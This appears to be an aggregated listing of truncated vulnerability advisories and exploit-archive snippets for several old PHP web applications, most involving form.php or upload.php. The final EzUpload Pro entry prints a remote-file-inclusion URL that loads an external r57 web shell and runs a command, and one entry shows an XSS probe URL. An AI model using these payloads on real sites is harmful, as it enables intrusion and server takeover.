CVE-2003-1489

Affected software: Truegalerie 1.0. Vulnerable component/flow: upload.php and the file cookie mechanism in form.php, which lets an attacker specify a target filename to read arbitrary files via the image gallery download path. Root cause: handling of filename via a file cookie without proper acce...

CVE-2003-1489: Improper Authentication

upload.php in Truegalerie 1.0 allows remote attackers to read arbitrary files by specifying the target filename in the file cookie in form.php, then downloading the file from the image gallery...

CVE-2007-4711: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in Toms Gaestebuch 1.00 allow remote attackers to inject arbitrary web script or HTML via the 1 homepage, 2 mail, and 3 name parameters in a show action to a form.php; the 4 language and 5 anzeigebreite parameters to b admin/header.php; and the 6...

tomsgb10-xss.txt

Software: Guestbook Title: Toms Gästebuch 1.00 Version: 1.0 Type: XSS Date: Sat Aug 11 21:52:08 CEST 2007 Vendor: Fitz Thomas Page: http://www.toms-seiten.at/ vulnerability: ---------------------------- http://example.com/form.php?action=show&homepage=XSS&mail=XSS&name=XSS...

YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability

No description provided by source. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File 脛掳nclude Author : CrackersChild Contact : [email protected] Bug : in...

yfs-rfi.txt

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File İnclude Author : CrackersChild Contact : [email protected] Bug : in bodyTemplate.php " " Down :...

YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability

No description provided by source. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File °nclude Author : CrackersChild Contact : [email protected] Bug : in bodyTemplate.p...

YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== YourFreeScreamer 1.0 serverPath Remote File Inclusion Vulnerability =====================================================================...

YourFreeScreamer 1.0 - 'serverPath' Remote File Inclusion

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File Ä°nclude Author : CrackersChild Contact : [email protected] Bug : in bodyTemplate.php " " Down :...

YourFreeScreamer 1.0 - serverPath Remote File Inclusion

YourFreeScreamer 1.0 - serverPath Remote File Inclusion /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Title : YourFreeScreamer 1.0 Remote File Ä°nclude Author : CrackersChild Contact : [email protected]...

CVE-2006-6570

Unrestricted file upload vulnerability in upload.php in GenesisTrader 1.0 allows remote authenticated users to upload arbitrary files via unspecified vectors, possibly involving form.php and the ajoutfich "foap" action...

CVE-2006-6570

CVE-2006-6570 describes an unrestricted file upload in upload.php of GenesisTrader 1.0. The vulnerability allows remote authenticated users to upload arbitrary files through unspecified vectors, possibly involving form.php and the ajoutfich “foap” action. The available sources indicate a high-sev...

CVE-2006-6571

Multiple cross-site scripting XSS vulnerabilities in form.php in GenesisTrader 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 cuve, 2 chem, 3 do, and possibly other parameters...

CVE-2006-6569

form.php in GenesisTrader 1.0 allows remote attackers to read source code for arbitrary files and obtain sensitive information via the 1 do and 2 chem parameters with a "modfich" floap parameter...

CVE-2006-6571: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in form.php in GenesisTrader 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 cuve, 2 chem, 3 do, and possibly other parameters...

CVE-2006-6569: Undefined Security Weakness

form.php in GenesisTrader 1.0 allows remote attackers to read source code for arbitrary files and obtain sensitive information via the 1 do and 2 chem parameters with a "modfich" floap parameter...

CVE-2006-6570: Undefined Security Weakness

Unrestricted file upload vulnerability in upload.php in GenesisTrader 1.0 allows remote authenticated users to upload arbitrary files via unspecified vectors, possibly involving form.php and the ajoutfich "foap" action...

GenesisTrader 1.0 - 'form.php' Arbitrary File Source Disclosure

source: https://www.securityfocus.com/bid/21595/info GenesisTrader is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include multiple information-disclosure vulnerabilities, an arbitrary file-upload...

CVE-2006-2694: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in EzUpload Pro 2.10 allow remote attackers to execute arbitrary PHP code via a URL in the path parameter to 1 form.php, 2 customize.php, and 3 initialize.php...

multiple file include exploits in EzUpload Pro v2.10

multiple file include exploits in EzUpload Pro v2.10 forum type : EzUpload Pro v2.10 bug found by : black-code & sweet-devil team : site-down type : file include exploits : form.php http://www.example.com/path/form.php?path=http://rst.void.ru/download/r57shell.txt?&cmd=pwd customize.php...